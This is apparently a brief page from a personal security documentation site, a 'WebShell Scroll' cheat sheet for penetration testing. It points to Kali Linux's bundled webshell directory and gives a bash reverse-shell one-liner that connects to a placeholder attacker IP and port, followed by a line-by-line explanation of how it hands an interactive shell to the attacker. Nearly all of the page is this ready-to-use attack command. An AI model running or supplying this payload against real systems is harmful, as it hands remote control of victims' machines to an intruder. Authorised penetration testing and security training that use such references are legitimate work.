> For the complete documentation index, see [llms.txt](https://security.navidnaf.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.navidnaf.com/spells/webshell-scroll.md).

# WebShell Scroll

## Kali Linux Default WebShell

```bash
ls -al /usr/share/webshells/
```

## Bash Based

```bash
bash -i>&/dev/tcp/[attack-ip]/[1234] 0>&1
```

* `bash -i`: Launches an interactive Bash shell.
* `>& /dev/tcp/[attack-ip]/[1234]`: Redirects both the standard output (`stdout`) and standard error (`stderr`) to a TCP connection to the attacker's IP address (`[attack-ip]`) on port `1234`. This essentially opens a network connection to the attacker's machine.
* `0>&1`: Redirects standard input (`stdin`) to the same network connection, allowing the attacker to send commands to the shell.